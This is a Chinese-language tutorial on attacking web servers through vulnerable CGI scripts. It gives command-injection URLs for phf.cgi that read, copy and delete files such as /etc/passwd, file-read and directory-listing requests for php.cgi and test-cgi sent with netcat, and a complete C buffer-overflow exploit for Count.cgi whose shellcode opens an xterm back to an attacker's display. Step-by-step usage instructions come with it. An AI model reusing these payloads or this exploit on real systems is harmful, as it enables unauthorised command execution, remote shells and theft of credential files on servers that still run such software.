CGI漏洞的利用(一)
cGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。
我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn
一、phf.cgi攻击: phf是大家所熟悉的了,它本来是用来更新PHONEBOOK的,但是许多管理员对它不了解以至于造成了漏洞。
在浏览器中输入: http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd ;可以显示出PASSWD文档来。
其实还可以用更好的命令来实现目的: http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna ;
me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname= ;
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd ;
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd ;
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname ;
=haqr&Qemail=&Qnickname=&Qoffice_phone= 以上等于执行了命令: id ls -la ~someuser
cp /etc/passwd ~someuser/passwd (用普通的可以进入的目录来看passwd) rm ~someuser/passwd
/P> 二、php.cgi
除了PHF以外,php也是常见的漏洞,php.cgi 2.0beta10或更早版本中,允许anyone以
HTTP管理员身份读系统文件,在浏览器中输入: http://boogered.system.com/cgi-bin/php.cgi?/etc/passwd ;
就可以看到想看的文件。 另外,一部分php.cgi还可以执行shell,原因是它把8k bytes字节放入128bytes的缓冲区中,
造成堆栈段溢出,使得攻击者可以以HTTP管理员的身份执行。
但是只有PHP作为CGI脚本时才能实现,而在作为Apache模量是不能运行的。想检查能否运行,只要在浏览器中输入:
http://hostname/cgi-bin/php.cgi ;如果你看到返回这样的字样就可以运行: PHP/FI Version 2.0b10
... 三、test-cgi的问题
test-cgi同样是个常常出现的漏洞,在浏览器中输入: http://thegnome.com/cgi-bin/test-cgi?\whatever
将会返回: CGI/1.0 test script report: argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH = 再来一次,这样输入: http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
看到PASSWD了? 用netcat 80 端口 进行攻击: machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80
返回: CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
/root /sbin /stand /sys /tmp /usr /usr2 /var
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH = 显示出了根目录!这样试试: machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80
返回: CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1
SERVER_NAME = removed.name.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/0.9
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT =
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /bin/cgi-bin/test-cgi
QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
mail-query mail-query-2 majordomo majordomo.cf marker.cgi
menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
query smartlist.cf src subscribe.cf test-cgi uptime
REMOTE_HOST = remote.machine.com
REMOTE_ADDR = 255.255.255.255
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH = 显示了/CGI-BIN/目录下的东西。
CGI漏洞的利用(二)
CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破PCWEEK LINUX的黑客就是利用了CGI的一个漏洞。
我就自己所知道的和从外国站点看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来信告诉我:bamboo@kali.com.cn
四、Count.cgi溢出漏洞 Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有人用它,
不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利用方法。
出现问题主要是由于QUERY_STRING 环境变量被复制到一个活动缓冲区,造成溢出,允许远程用户以HTTP管理员的身份执行任意命令。
有人写了个程序来利用这个漏洞,只对Count.cgi 24以下版本有效:
/*### count.c ########################################################*/
#include
#include
#include
#include
#include
#include
#include
#include
#include /* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(char *,long, char *); /* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"; int main (int argc, char *argv[]){
char *shellcode = NULL;
int cnt,ver,retcount, dispnum,dotquads[4],offset;
unsigned long sp;
char dispname[255];
char *host;
offset = sp = cnt = ver = 0;
fprintf(stderr,"\t%s - Gus\n",argv[0]);
if (argc<3) usage(argv[0]); while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
switch(cnt){
case ''h'':
host = optarg;
break;
case ''d'':
{
retcount = sscanf(optarg, "%d.%d.%d.%d:%d",
&dotquads[0],
&dotquads[1],
&dotquads[2],
&dotquads[3], &dispnum);
if (retcount != 5) usage(argv[0]);
sprintf(dispname, "%03d.%03d.%03d.%03d:%01d",
dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
}
break;
case ''v'':
ver = atoi(optarg);
break;
case ''o'':
offset = atoi(optarg);
break;
default:
usage(argv[0]);
break;
}
} sp = offset + getsp(ver);
(void)doit(host,sp,shellcode); exit(0);
} unsigned long getsp(int ver) { /* Get the stack pointer we should be using. YMMV. If it does not work,
try using -o X, where x is between -1500 and 1500 */
unsigned long sp=0; if (ver == 15) sp = 0xbfffea50;
if (ver == 20) sp = 0xbfffea50;
if (ver == 22) sp = 0xbfffeab4;
if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
if (sp == 0) {
fprintf(stderr,"I don''t have an sp for that version try using the -o option.\n");
fprintf(stderr,"Versions above 24 are patched for this bug.\n");
exit(1);
} else {
return sp;
} }
int usage (char *name) {
fprintf(stderr,"\tUsage:%s -h host -d -v [-o ]\n",name);
fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",name);
exit(1);
} int openhost (char *host, int port) { int sock;
struct hostent *he;
struct sockaddr_in sa; he = gethostbyname(host);
if (he == NULL) {
perror("Bad hostname\n");
exit(-1);
} memcpy(&sa.sin_addr, he->h_addr, he->h_length); sa.sin_port=htons(port);
sa.sin_family=AF_INET;
sock=socket(AF_INET,SOCK_STREAM,0);
if (sock < 0) {
perror ("cannot open socket");
exit(-1);
}
bzero(&sa.sin_zero,sizeof (sa.sin_zero)); if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
perror("cannot connect to host");
exit(-1);
} return(sock);
}
void doit (char *host,long sp, char *shellcode) { int cnt,sock;
char qs[7000];
int bufsize = 16;
char buf[bufsize];
char chain[] = "user=a"; bzero(buf);
for(cnt=0;cnt<4104;cnt+=4) {
qs[cnt+0] = sp & 0x000000ff;
qs[cnt+1] = (sp & 0x0000ff00) >> 8;
qs[cnt+2] = (sp & 0x00ff0000) >> 16;
qs[cnt+3] = (sp & 0xff000000) >> 24;
}
strcpy(qs,chain);
qs[strlen(chain)]=0x90; qs[4104]= sp&0x000000ff;
qs[4105]=(sp&0x0000ff00)>>8;
qs[4106]=(sp&0x00ff0000)>>16;
qs[4107]=(sp&0xff000000)>>24;
qs[4108]= sp&0x000000ff;
qs[4109]=(sp&0x0000ff00)>>8;
qs[4110]=(sp&0x00ff0000)>>16;
qs[4111]=(sp&0xff000000)>>24;
qs[4112]= sp&0x000000ff;
qs[4113]=(sp&0x0000ff00)>>8;
qs[4114]=(sp&0x00ff0000)>>16;
qs[4115]=(sp&0xff000000)>>24;
qs[4116]= sp&0x000000ff;
qs[4117]=(sp&0x0000ff00)>>8;
qs[4118]=(sp&0x00ff0000)>>16;
qs[4119]=(sp&0xff000000)>>24;
qs[4120]= sp&0x000000ff;
qs[4121]=(sp&0x0000ff00)>>8;
qs[4122]=(sp&0x00ff0000)>>16;
qs[4123]=(sp&0xff000000)>>24;
qs[4124]= sp&0x000000ff;
qs[4125]=(sp&0x0000ff00)>>8;
qs[4126]=(sp&0x00ff0000)>>16;
qs[4127]=(sp&0xff000000)>>24;
qs[4128]= sp&0x000000ff;
qs[4129]=(sp&0x0000ff00)>>8;
qs[4130]=(sp&0x00ff0000)>>16;
qs[4131]=(sp&0xff000000)>>24;
strcpy((char*)&qs[4132],shellcode); sock = openhost(host,80);
write(sock,"GET /cgi-bin/Count.cgi?",23);
write(sock,qs,strlen(qs));
write(sock," HTTP/1.0\n",10);
write(sock,"User-Agent: ",12);
write(sock,qs,strlen(qs));
write(sock,"\n\n",2);
sleep(1); /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",qs,qs); */ /*
setenv("HTTP_USER_AGENT",qs,1);
setenv("QUERY_STRING",qs,1);
system("./Count.cgi");
*/
} ————————————————————————————————————
用法是:count -h <攻击目标IP> -d <显示> -v
例如:count -h www.foo.bar -d 127.0.0.1:0 -v 22 五、用Count.cgi看图片
这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以利用Count.cgi看WEB目录以外的图片,
据作者说有一些商业网站的图片里有一些商业机密,所以这个漏洞也算是有点用处吧!哈哈! 在浏览器中这样输入:
其中/path_to_gif/file.gif是你要看的图片的路径。 注意,这一漏洞只能被用来看(或下载)GIF格式的图片,
而不能用于其他类型的文件。
|